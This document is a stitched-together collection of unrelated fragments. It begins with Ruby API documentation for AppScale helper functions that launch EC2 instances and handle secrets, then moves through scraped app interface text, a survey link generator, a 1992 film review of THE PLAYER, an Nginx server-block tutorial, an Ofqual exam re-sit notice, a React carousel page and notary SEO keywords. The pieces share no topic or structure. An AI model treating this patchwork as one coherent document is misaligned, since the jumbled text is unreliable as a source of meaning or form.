# File lib/helperfunctions.rb, line 156 def self.get_ips(ips) abort("ips not even length array") if ips.length % 2 != 0 reported_public = [] reported_private = [] ips.each_index { |index| if index % 2 == 0 reported_public << ips[index] else reported_private << ips[index] end } Kernel.puts("Reported Public IPs: [#{reported_public.join(', ')}]") Kernel.puts("Reported Private IPs: [#{reported_private.join(', ')}]") actual_public = [] actual_private = [] reported_public.each_index { |index| pub = reported_public[index] pri = reported_private[index] if pub != "<IP_ADDRESS>" and pri != "<IP_ADDRESS>" actual_public << pub actual_private << pri end } actual_private.each_index { |index| begin actual_private[index] = HelperFunctions.convert_fqdn_to_ip(actual_private[index]) rescue Exception # this can happen if the private ip doesn't resolve # which can happen in hybrid environments: euca boxes wont be # able to resolve ec2 private ips, and vice-versa in euca-managed-mode Kernel.puts("rescued! failed to convert #{actual_private[index]} to public") actual_private[index] = actual_public[index] end } return actual_public, actual_private end
Reads the given file and parses the SSL private key data that it contains.
# File lib/helperfunctions.rb, line 118 def self.get_key(filename) return nil unless File.exists?(filename) OpenSSL::PKey::RSA.new(File.open(filename) { |f| f.read }) end
Queries Amazon EC2’s Spot Instance pricing history to see how much other users have paid for the given instance type (assumed to be a Linux box), so that we can place a bid that is similar to the average price. How similar to the average price to pay is a bit of an open problem - for now, we pay 20% more so that in case the market price goes up a little bit, we still get to keep our instances.
# File lib/helperfunctions.rb, line 236 def self.get_optimal_spot_price(instance_type) command = "ec2-describe-spot-price-history -t #{instance_type} | " + "grep 'Linux/UNIX' | awk '{print $2}'".split("\n") prices = self.shell("#{command}") average = prices.reduce(0.0) { |sum, price| sum += Float(price) } average /= prices.length plus_twenty = average * 1.20 Kernel.puts("The average spot instance price for a #{instance_type} " + "machine is $#{average}, and 20% more is $#{plus_twenty}") return plus_twenty end
Similar to ::get_ips, but does not attempt to resolve the private IPs seen. Returns a single array with the public IPs from the original array (which contains both public and private IPs).
# File lib/helperfunctions.rb, line 202 def self.get_public_ips(ips) abort("ips not even length array") if ips.length % 2 != 0 reported_public = [] reported_private = [] ips.each_index { |index| if index % 2 == 0 reported_public << ips[index] else reported_private << ips[index] end } Kernel.puts("Reported Public IPs: [#{reported_public.join(', ')}]") Kernel.puts("Reported Private IPs: [#{reported_private.join(', ')}]") public_ips = [] reported_public.each_index { |index| if reported_public[index] != "<IP_ADDRESS>" public_ips << reported_public[index] elsif reported_private[index] != "<IP_ADDRESS>" public_ips << reported_private[index] end } return public_ips.flatten end
Returns a random string composed of alphanumeric characters, as long as the user requests.
# File lib/helperfunctions.rb, line 95 def self.get_random_alphanumeric(length=10) random = "" possible = "0123456789abcdefghijklmnopqrstuvxwyzABCDEFGHIJKLMNOPQRSTUVWXYZ" possible_length = possible.length length.times { |index| random << possible[Kernel.rand(possible_length)] } return random end
Reads a file that contains the AppScale shared secret (a password that is used to authenticate remote calls/callers), returning the secret that file contains.
# File lib/helperfunctions.rb, line 129 def self.get_secret(filename="/etc/appscale/secret.key") return self.read_file(File.expand_path(filename), chomp=true) end
Prints out a list of environment variables currently set in this process’ runtime and their values. For any EC2 user credentials, we obscure out any sensitive information.
# File lib/helperfunctions.rb, line 488 def self.log_obscured_env() env = self.shell("env") ["EC2_ACCESS_KEY", "EC2_SECRET_KEY"].each { |cred| if env =~ %r#{cred}=(.*)/ env.gsub!(%r#{cred}=(.*)/, "#{cred}=#{self.obscure_string($1)}") end } Kernel.puts(env) end
Obscures out sensitive strings by replacing most of the characters with a dummy character. Callers can use this method to print out credentials that may be logged and thus sent over e-mail (and thus should not be completely exposed in cleartext).
# File lib/helperfunctions.rb, line 477 def self.obscure_string(string) return string if string.nil? or string.length < 4 last_four = string[string.length-4, string.length] obscured = "*" * (string.length-4) return obscured + last_four end
A convenience method that can be used to read a file and return its contents as a String.
# File lib/helperfunctions.rb, line 83 def self.read_file(location, chomp=true) file = File.open(location) { |f| f.read } if chomp return file.chomp else return file end end
Given a Hash of EC2 credentials, sets them as environment variables in the current environment. This avoids having to specify them as command-line arguments once we attempt to run any EC2 command-line tools.
# File lib/helperfunctions.rb, line 257 def self.set_creds_in_env(creds, cloud_num) ENV['EC2_JVM_ARGS'] = nil creds.each_pair { |k, v| next unless k =~ %r\ACLOUD#{cloud_num}/ env_key = k.scan(%r\ACLOUD#{cloud_num}_(.*)\Z/).flatten.to_s ENV[env_key] = v } # note that key and cert vars are set wrong - they refer to # the location on the user's machine where the key is # thus, let's fix that cloud_keys_dir = File.expand_path("/etc/appscale/keys/cloud#{cloud_num}") ENV['EC2_PRIVATE_KEY'] = "#{cloud_keys_dir}/mykey.pem" ENV['EC2_CERT'] = "#{cloud_keys_dir}/mycert.pem" Kernel.puts("Setting private key to #{cloud_keys_dir}/mykey.pem, cert to #{cloud_keys_dir}/mycert.pem") end
Logs and executes a shell command - useful for mocking since flexmock can’t mock out the backticks method (Kernel:`), but it can mock out this method.
# File lib/helperfunctions.rb, line 69 def self.shell(cmd) Kernel.puts(cmd) return %x#{cmd}` end
This method spawns virtual machines in a supported cloud infrastructure. It dispatches the initial request for machines, waits for them to start, and returns the public IPs, private IPs, and instance IDs of the machines that were started.
# File lib/helperfunctions.rb, line 282 def self.spawn_vms(parameters) num_of_vms_to_spawn = Integer(parameters['num_vms']) image_id = parameters['image_id'] instance_type = parameters['instance_type'] keyname = parameters['keyname'] infrastructure = parameters['infrastructure'] cloud = parameters['cloud'] group = parameters['group'] spot = false Kernel.puts("[#{num_of_vms_to_spawn}] [#{image_id}] [#{instance_type}] [#{keyname}] [#{infrastructure}] [#{cloud}] [#{group}] [#{spot}]") start_time = Time.now public_ips = [] private_ips = [] instance_ids = [] if num_of_vms_to_spawn < 1 return public_ips, private_ips, instance_ids end ssh_key = File.expand_path("/etc/appscale/keys/#{cloud}/#{keyname}.key") Kernel.puts("About to spawn VMs, expecting to find a key at #{ssh_key}") self.log_obscured_env new_cloud = !File.exists?(ssh_key) if new_cloud # need to create security group and key Kernel.puts("Creating keys/security group for #{cloud}") self.generate_ssh_key(ssh_key, keyname, infrastructure) self.create_appscale_security_group(infrastructure, group) else Kernel.puts("Not creating keys/security group for #{cloud}") end instance_ids_up = [] public_up_already = [] private_up_already = [] Kernel.puts("EC2_URL = [#{ENV['EC2_URL']}]") loop { # need to make sure ec2 doesn't return an error message here describe_instances = self.shell("#{infrastructure}-describe-instances 2>&1") Kernel.puts("describe-instances says [#{describe_instances}]") all_ip_addrs = describe_instances.scan(%r\s+(#{IP_OR_FQDN})\s+(#{IP_OR_FQDN})\s+running\s+#{keyname}\s/).flatten instance_ids_up = describe_instances.scan(%rINSTANCE\s+(i-\w+)/).flatten public_up_already, private_up_already = HelperFunctions.get_ips(all_ip_addrs) vms_up_already = describe_instances.scan(%r(#{IP_OR_FQDN})\s+running\s+#{keyname}\s+/).length break if vms_up_already > 0 or new_cloud # crucial for hybrid cloud, where one box may not be running yet } args = "-k #{keyname} -n #{num_of_vms_to_spawn} --instance-type #{instance_type} --group #{group} #{image_id}" if spot price = HelperFunctions.get_optimal_spot_price(instance_type) command_to_run = "ec2-request-spot-instances -p #{price} #{args}" else command_to_run = "#{infrastructure}-run-instances #{args}" end loop { Kernel.puts(command_to_run) run_instances = self.shell("#{command_to_run} 2>&1") Kernel.puts("run_instances says [#{run_instances}]") if run_instances =~ %rPlease try again later./ Kernel.puts("Error with run_instances: #{run_instances}. Will try again in a moment.") elsif run_instances =~ %rtry --addressing private/ Kernel.puts("Need to retry with addressing private. Will try again in a moment.") command_to_run << " --addressing private" elsif run_instances =~ %rPROBLEM/ Kernel.puts("Error: #{run_instances}") abort("Saw the following error message from EC2 tools. Please resolve the issue and try again:\n#{run_instances}") else Kernel.puts("Run instances message sent successfully. Waiting for the image to start up.") break end Kernel.puts("sleepy time") Kernel.sleep(5) } instance_ids = [] public_ips = [] private_ips = [] Kernel.sleep(10) # euca 2.0.3 can throw forbidden errors if we hit it too fast # TODO: refactor me to use rightaws gem, check for forbidden, and retry accordingly end_time = Time.now + MAX_VM_CREATION_TIME while (now = Time.now) < end_time describe_instances = self.shell("#{infrastructure}-describe-instances 2>&1") Kernel.puts("[#{Time.now}] #{end_time - now} seconds left...") Kernel.puts(describe_instances) # TODO: match on instance id #if describe_instances =~ /terminated\s+#{keyname}\s+/ # terminated_message = "An instance was unexpectedly terminated. " + # "Please contact your cloud administrator to determine why " + # "and try again. \n#{describe_instances}" # Kernel.puts(terminated_message) # abort(terminated_message) #end # changed regexes so ensure we are only checking for instances created # for appscale only (don't worry about other instances created) all_ip_addrs = describe_instances.scan(%r\s+(#{IP_OR_FQDN})\s+(#{IP_OR_FQDN})\s+running\s+#{keyname}\s+/).flatten public_ips, private_ips = HelperFunctions.get_ips(all_ip_addrs) public_ips = public_ips - public_up_already private_ips = private_ips - private_up_already instance_ids = describe_instances.scan(%rINSTANCE\s+(i-\w+)\s+[\w\-\s\.]+#{keyname}/).flatten - instance_ids_up break if public_ips.length == num_of_vms_to_spawn Kernel.sleep(SLEEP_TIME) end if public_ips.length.zero? abort("No public IPs were able to be procured within the time limit.") end if public_ips.length != num_of_vms_to_spawn potential_dead_ips = HelperFunctions.get_ips(all_ip_addrs) - public_up_already potential_dead_ips.each_index { |index| if potential_dead_ips[index] == "<IP_ADDRESS>" instance_to_term = instance_ids[index] Kernel.puts("Instance #{instance_to_term} failed to get a public IP address and is being terminated.") self.shell("#{infrastructure}-terminate-instances #{instance_to_term}") end } end end_time = Time.now total_time = end_time - start_time if spot Kernel.puts("TIMING: It took #{total_time} seconds to spawn " + "#{num_of_vms_to_spawn} spot instances") else Kernel.puts("TIMING: It took #{total_time} seconds to spawn " + "#{num_of_vms_to_spawn} regular instances") end return public_ips, private_ips, instance_ids end
Given a list of instance ids, terminates them in the given cloud infrastructure.
# File lib/helperfunctions.rb, line 468 def self.terminate_vms(ids, infrastructure) self.shell("#{infrastructure}-terminate-instances #{ids.join(' ')} 2>&1") end
A convenience method that can be used to write a String to a file, creating that file if it does not exist.
# File lib/helperfunctions.rb, line 76 def self.write_file(location, contents) File.open(location, "w+") { |file| file.write(contents) } end


Hyper
Perform
Sign out
Employee List
Forecasting
User Management
Sign out
Loading ...
×
Date Picker
Start Date:
End Date:
Employee List
Name
Email
Position
Score
Performance


Class
Status
Start
Trainer
Member
Duration
Action
No Appointments Available
Work
scheduled
21-01-2019 15:00
Provider
Customer
60 min
Details
New appointment


Decipher LINK GENERATOR (GUST)
Decipher project number:
Bucket:
List:
Language:
Test links --
Copy
ka-blagh! *(&$^%
[provide the decipher project number.]
Live link --
Copy
ka-pow! $@#$%^
[provide the decipher project number.]


--- title: Goodrichs.NET description: The web home of Charlotte's loudest family ---
This site is under construction.


THE PLAYER A film review by Mark R. Leeper Copyright 1992 Mark R. Leeper
Capsule review: A new film about how back-stabbing and unforgiving Hollywood is, from the director of BUFFALO BILL AND THE INDIANS, QUINTET, and POPEYE. There are some nice self-referential touches but over all the film is just a little too much into muck-raking. Rating: +1 (-4 to +4).
Hollywood's worst-kept secret is that there is a lot wrong with the film industry. It seems that everybody who has ever had everything to do with film-making cannot wait to tell anyone who will listen how everybody else in Hollywood--especially a close friend or co-worker--is a back- stabber. The key quote from last year's documentary NAKED HOLLYWOOD was that Hollywood is a town in which people wish you well only if you are dying. People just love to write about Hollywood Babylon. I suspect that the Hollywood restaurants have to close at noon for lack of business considering how many people "can never do lunch in this town again." And nobody loves stories of how bad things are in Hollywood as much as people actually in the industry. They hear the stories, they tell the stories, they build the stories into tall tales and folklore. I seriously doubt that there is much wrong with the film industry that is not wrong with the auto industry, or the chemical industry, or the clothing industry. It is just that of these industries only the film industry's primary business is telling stories. Hollywood has always turned out a lot of bad films and a few very good films. It certainly appears that there are fewer good films coming out than there are were at one time. But how many theatrical films these days are as bad as a "Blondie" or "Mexican Spitfire" film? For that matter, how many pre-1950s films have the impact of THE KILLING FIELDS? I guess that is why I have never had a strong interest in Hollywood's dirty linen. And even in the days I think Hollywood was its greatest, it was making films about how far Hollywood had deteriorated. SUNSET BOULEVARD was a pretty good dirty linen film. THE BAD AND THE BEAUTIFUL, ALL ABOUT EVE, HOLLYWOOD BOULEVARD, THE BIG PICTURE, BARTON FINK, and THE PLAYER are all decent Hollywood dirty linen films. But THE PLAYER is what I should be writing about.
THE PLAYER is a deep-focus film. You are expected to keep an eye both on the foreground and the background. In the foreground we have a story of murder in the film industry; in the background we see Hollywood with all of its faults and blemishes. We hear writer Mitchell Tolkin's criticism of the film industry coming a bit at a time out of dozens of mouths. They describe a typical bad film. And sure enough the foreground story has everything the characters in the background complain about. The film moves in a tight circle describing all the faults of modern Hollywood films and then exemplifying them.
Tim Robbins plays Griffin Mill, a somewhat slimey film executive being eased out to make way for Larry Levy (played by Peter Gallagher), another slimey executive. This might be enough to put Griffin's nerves on edge, but Griffin is also getting sinister postcards with death threats because of the shabby way he has treated writers. It is when Griffin decides to try to play detective and find the angry writer that he really becomes embroiled.
THE PLAYER is not just about the film industry, it is about film itself. Wherever Griffin goes, he is surrounded by film posters and lobby cards that match his mood or the plot. There are references to the long tracking shots of TOUCH OF EVIL and ABSOLUTE BEGINNERS during a long tracking shot in THE PLAYER. And there are the now famous cameo appearances. VARIETY lists 65 famous people who play themselves in this film. Identifying people in the background becomes a major distraction.
Robert Altman has through most of his career been a maverick filmmaker, but I cannot help feeling that this film is a little ungracious albeit with good nature. Altman has done some good films and a few real stinkers. He certainly cannot blame the failure of QUINTET on the studio trying too hard to make it commercial. And even after having made losers, he seems always to find work. This alone shows that the film industry has not always been so unkind to him. And on top of that, THE PLAYER was made only a short time after a similar and in some ways better film, Christopher Guest's THE BIG PICTURE. That film is recommended for fans of THE PLAYER. I rate Altman's film just a +1 on the -4 to +4 scale.
Mark R. Leeper att!mtgzy!leeper<EMAIL_ADDRESS>.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- layout: post title: Install Nginx with Server Blocks date: 2014-04-12 16:28:22.000000000 +07:00 categories: - How To tags: - digitalocean - ghost - nginx - server block - ubuntu description: This tutorial shows how to install Nginx with server blocks in order to be able to host multiple sites on the same droplet. ---
One very important thing with the droplet I setup on DigitalOcean is to be able to host multiple sites. Hence, we're going to use Server Blocks (the equivalent of Virtual Hosts on Apache).
I found and tried several tutorials on how to create Server Blocks and I ended up creating my own "method" based on all the resources I found.
Ghost is the first thing I will host and in most tutorials I've been told to setup Node.js, Ghost and then Nginx. However, I found it better to start with Nginx and then do the rest.
First things first, make sure your domain is setup correctly. Wether you use the root domain or a subdomain, make sure the A record points to your server's IP address.
We now need to create the directory where the site will be hosted. In this example, I'll use domain.com
as the domain.
In your SSH terminal, type the following line to install Nginx
{% highlight bash %} apt-get install nginx {% endhighlight %}Now let's delete the default configuration file, then we will create our own.
{% highlight bash %} rm /etc/nginx/sites-available/default {% endhighlight %}For the configuration file, I mostly based my settings on the Nginx documentation.
We can now create our configuration file.
{% highlight bash %} sudo nano /etc/nginx/sites-available/blocks {% endhighlight %}I called it blocks
in this example, but you can of course call it whatever you want.
This line will open the text editor in which we will input the custom configuration.
There are many ways of configuring a block. As of now I have only done it for Ghost, so here is what you need for it. However, if you refer to the Nginx documentation you will find all the basic elements for a block.
Note: When editing a file with nano, you can save the changes by pressing Ctrl+O (Ctrl right). Press Ctrl+X to exit.
Next step is to create a "symlink" to the directory sites-enabled
. Indeed, sites-available
only contains the available sites, it doesn't mean it's enabled.
Finally, let's restart Nginx.
{% highlight bash %} service nginx restart {% endhighlight %}That's it. If everything went well, you should see the Nginx welcome page when browsing to domain.com.


What is Timestables? Timestables is a program designed to quiz you in the subject of how well you know your timestables.
It is available at Github
Clone it today at https://github.com/samthegitguy/timestables.git .
Note that you there are some bugs with running this program with Windows, you should view issues #10 and #11 for more details.


Thanks for sharing your hourly rate! This will help others do charge fair prices for their work. Submit another hourly rate
Negotiating a fair hourly rate for your freelance services is easier if you know what others in your field charge. Find out, and help making freelancer rates more transparent by submitting your own. It only takes a minute and is completely anonymous.
Thanks for sharing your hourly rate! This will help others do charge fair prices for their work. Submit another hourly rate


News story
Ofqual is today (15 December) launching a consultation on policy relating to re-sit arrangements for legacy GCSEs, AS and A levels.
The first reformed GCSEs, AS and A levels were introduced in England in September this year. Students will start being awarded new AS qualifications in summer 2016, and new GCSEs and A levels in summer 2017. Current rules mean that Exam Boards will no longer be able to award the unreformed or ‘legacy’ qualifications in the subjects where a reformed version of the qualification has been introduced beyond August 2016.
To make sure that students are not disadvantaged because of these changes, we are proposing that students taking legacy AS and A levels should have the opportunity to re-sit the qualifications, regardless of the subject and exam board, in summer 2017.
Students taking GCSEs in English, English language and mathematics (including linked pair maths GCSEs – ‘applications of mathematics’ and ‘methods in mathematics’) in summer 2016 will have a re-sit opportunity in November 2016. We are seeking views on whether these students should also have a further re-sit opportunity in May/June 2017.
In the consultation published today , we propose that:
Re-sit opportunities in AS and A level subjects in which the new qualifications have been taught from September 2015, will be available in the legacy qualifications in May/June 2017. All AS and A2 level units for these qualifications will be available to all students in the normal way in the summer of 2016.
Students will be able to re-sit any AS or A2 level unit (including controlled assessment units) in the summer 2017 re-sit opportunity.
The same approach should be adopted in relation to legacy AS and A level qualifications in future tranches of reform.
A re-sit opportunity will be made available for GCSEs in English, English language and mathematics (including linked pair maths GCSEs – ‘applications of mathematics’ and ‘methods in mathematics’) in November 2016. We are also seeking views on whether a further re-sit opportunity should be made available in May/June 2017
Students will be able to carry forward the results of the speaking and listening controlled assessment in GCSE English and GCSE English language (including between the two subjects when re-sitting with the same exam board).
There will be no re-sit opportunities in other legacy GCSE subjects, although we are seeking views on whether a further re-sit opportunity should be made available for GCSEs in science subjects.
Our current proposals for GCSEs would mean that:
The consultation will be open until 2 February 2016.


react-touch-carousel
Micro carousel framework for React.JS
See some demos below
on a mobile device
boring
loop & autoplay
vertical
cascade
rolling
fade
card reuse
playing cd
Fork me at GitHub.


Keywords: POA documentation, living trust, notary Santa Clara, notary Cupertino, notary Campbell, notary near me, OCi, passport renewal, loan signing documents, Taiwan passport renewal, Mobile notary ,Last will, Notary mountainview, notary Palo Alto